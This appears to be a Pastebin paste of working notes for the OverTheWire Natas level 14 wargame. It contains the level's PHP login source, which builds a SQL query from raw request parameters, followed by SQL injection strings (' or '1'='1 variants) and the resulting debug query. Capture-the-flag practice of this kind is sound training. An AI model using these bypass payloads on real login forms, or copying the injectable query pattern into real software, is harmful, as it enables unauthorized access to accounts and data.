Guest User

Untitled

a guest
Feb 3rd, 2018
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.10 KB | None | 0 0
  1. <?
  2. if(array_key_exists("username", $_REQUEST)) {
  3. $link = mysql_connect('localhost', 'natas14', '<censored>');
  4. mysql_select_db('natas14', $link);
  5.  
  6. $query = "SELECT * from users where username="".$_REQUEST["username"]."" and password="".$_REQUEST["password"].""";
  7. if(array_key_exists("debug", $_GET)) {
  8. echo "Executing query: $query<br>";
  9. }
  10.  
  11. if(mysql_num_rows(mysql_query($query, $link)) > 0) {
  12. echo "Successful login! The password for natas15 is <censored><br>";
  13. } else {
  14. echo "Access denied!<br>";
  15. }
  16.  
  17. mysql_close($link);
  18. } else {
  19. ?>
  20.  
  21. <form action="index.php" method="POST">
  22. Username: <input name="username"><br>
  23. Password: <input name="password"><br>
  24. <input type="submit" value="Login" />
  25. </form>
  26. <? } ?>
  27.  
  28. $username = 1' or '1' = '1
  29. $password = 1' or '1' = '1
  30.  
  31. $username = 1" or '1' = '1
  32. $password = 1' or '1' = "1`
  33.  
  34. if(mysql_num_rows(mysql_query($query, $link)) > 0) {
  35. echo "Successful login! The password for natas15 is <censored><br>";
  36. } else {
  37. echo "Access denied!<br>";
  38. }
  39.  
  40. Executing query: SELECT * from users where username="1" or '1' = '1" and password="1' or '1' = "1"`
Add Comment
Please, Sign In to add comment